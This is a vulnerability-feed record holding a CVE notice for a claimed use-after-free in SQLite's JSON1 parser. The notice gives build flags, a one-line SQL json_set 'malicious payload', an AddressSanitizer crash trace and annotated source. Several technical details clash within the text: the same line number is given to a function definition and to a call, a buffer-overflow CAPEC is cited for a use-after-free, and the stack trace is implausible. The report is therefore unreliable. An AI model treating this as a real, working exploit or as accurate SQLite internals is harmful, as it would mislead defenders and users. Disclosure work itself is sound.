{"uuid": "8a54a38d-1b55-452a-b152-9386b0a8e5f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51247", "type": "seen", "source": "https://gist.github.com/programmervuln/d80518c782a43c1e4f07f22dbe4e04af", "content": "RBP Notification Document \u2013 Notify CVE about a publication\nCVE ID: CVE-2026-51247\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable.\n1. Affected Product\nProduct: SQLite\nComponent: JSON1 extension (json.c parser)\n2. Affected Versions + Fixed Versions\nAffected Versions: 3.45.0, 3.45.1, 3.45.2, 3.46.0, 3.46.1, 3.47.0, 3.47.1\nFixed Versions: SQLite 3.48.0\n3. CVE ID\nCVE-2026-51247\n4. Vulnerability Prose Description\nA use-after-free vulnerability exists within the JSON parsing implementation of the JSON1 extension in SQLite. An attacker may submit specially crafted nested JSON object payloads to SQLite built-in JSON functions. When parsing malicious JSON structures, internal JsonNode parser objects are prematurely freed during recursive parsing. Dangling pointers referencing deallocated heap memory remain stored within the parser execution context. Subsequent parsing logic dereferences these stale pointers and triggers heap memory corruption. Successful exploitation can lead to process termination causing denial of service, exposure of residual sensitive heap memory, and conditional arbitrary code execution within the privilege context of the SQLite process.\n5. Vulnerability Type\nCWE-416: Use After Free\n6. Root Cause\nInput conditions reach the target function jsonParse() within json.c.\nSource code Line 1576 executes memory free operation on a JsonNode instance via jsonNodeFree().\nThe pointer to the freed JsonNode structure is not nullified or invalidated, creating a dangling pointer retained in the parser state.\nSubsequently, Line 1784 executes unchecked dangling pointer member access triggering the heap use-after-free memory corruption vulnerability.\n7. Impact\nDenial of Service: Triggerable process crash caused by segmentation fault or address sanitizer abort upon invalid memory access.\nInformation Disclosure: Reads from freed heap memory may expose leftover sensitive data from previously allocated objects.\nConditional Arbitrary Code Execution: Heap corruption can provide control over program execution flow under suitable runtime memory layout conditions.\n8. Attack Vector\nRemote; No privileges required, user interaction required. The consuming application must accept untrusted remote input and forward attacker-controlled JSON strings into SQLite JSON1 functions.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/version-3.47.1/src/json.c\nsrc/json.c Line 1576(memory free), Line 1784(dangling pointer access)\n10. Proof of Concept (PoC)\na) PoC Environment\nbash\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure\nmake clean && make\nb) Valid Malicious Payload\nsql\nSELECT json_set('{\"x\":{\"y\":{}}}', '$.x.y.z', 1);\nc) Crash Output (ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==9143==ERROR: AddressSanitizer: heap-use-after-free on address 0x507000000720 at pc 0x000055c3721d3501 bp 0x7ffed41f36b0 sp 0x7ffed41f36a0\nREAD of size 8 at 0x507000000720 thread T0\n    #0 0x55c3721d3500 in jsonParse src/json.c:1784\n    #1 0x55c3721cd982 in jsonFunction src/json.c:2241\n    #2 0x55c37200ec53 in sqlite3VdbeExec src/vdbe.c:8421\n    #3 0x55c371fe7731 in sqlite3Step src/vdbeapi.c:744\n    #4 0x55c371fe6e32 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #5 0x55c371ecb5c1 in main src/shell.c:3942\n    #6 0x7f8247321d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #7 0x55c371eca8ea in _start (./sqlite3+0x1898ea)\n\n0x507000000720 is located 24 bytes inside of 88-byte region [0x507000000700,0x507000000758)\nfreed by thread T0 here:\n    #0 0x7f82477c4337 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0xb4337)\n    #1 0x55c3721d1791 in jsonNodeFree src/json.c:1576\n    #2 0x55c3721d196e in jsonParse src/json.c:1643\n    #3 0x55c3721cd982 in jsonFunction src/json.c:2241\n    #4 0x55c37200ec53 in sqlite3VdbeExec src/vdbe.c:8421\n    #5 0x55c371fe7731 in sqlite3Step src/vdbeapi.c:744\n    #6 0x55c371fe6e32 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #7 0x55c371ecb5c1 in main src/shell.c:3942\n    #8 0x7f8247321d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #9 0x55c371eca8ea in _start (./sqlite3+0x1898ea)\n\npreviously allocated by thread T0 here:\n    #0 0x7f82477c3467 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0xb3467)\n    #1 0x55c3721d0582 in jsonNodeAlloc src/json.c:1314\n    #2 0x55c3721d08b7 in jsonParse src/json.c:1591\n    #3 0x55c3721cd982 in jsonFunction src/json.c:2241\n    #4 0x55c37200ec53 in sqlite3VdbeExec src/vdbe.c:8421\n    #5 0x55c371fe7731 in sqlite3Step src/vdbeapi.c:744\n    #6 0x55c371fe6e32 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #7 0x55c371ecb5c1 in main src/shell.c:3942\n    #8 0x7f8247321d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #9 0x55c371eca8ea in _start (./sqlite3+0x1898ea)\n\nSUMMARY: AddressSanitizer: heap-use-after-free src/json.c:1784 in jsonParse\nd) Full PoC Trigger & Vulnerability Explanation\nThe payload supplies layered nested JSON object input to the json_set() SQL function. SQLite invokes jsonParse() to process the JSON document. During recursive traversal of nested object members, jsonNodeFree() executes at Line 1576 to release a JsonNode object corresponding to an inner JSON object. The local pointer referencing this node is not cleared, generating a dangling pointer. Execution continues down the recursive parsing branch and attempts to read structure members of the stale pointer at Line 1784. This unguarded memory access triggers the use-after-free vulnerability. No payload modification is required to reliably hit the vulnerable execution path.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-07-24\nPatch Release Date: 2026-07-30\nCWE ID(s): CWE-416 Use After Free\nCAPEC: CAPEC-123: Buffer Overflow via API Arguments\nCVSS 3.1 Vector & Score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H; Base Score: 8.8\n12. Annotated Vulnerable Source Code (src/json.c)\nc\n\n// Line 1576: Memory free operation\nstatic void jsonNodeFree(JsonNode *pNode){\n  sqlite3_free(pNode);\n}\n\n// ... intermediate code omitted ...\n\n// Inside jsonParse()\njsonNodeFree(pChild); // Line 1576: Free child JsonNode\n// Pointer pChild is not cleared, dangling pointer persists\n\n// ... intermediate code omitted ...\n\n// Line 1784: Dangling pointer access\nif( pChild->eType==JSON_OBJ ){ // Access to already freed pChild pointer\nTarget Function Name: jsonParse\n", "creation_timestamp": "2026-07-31T06:40:55.052971Z"}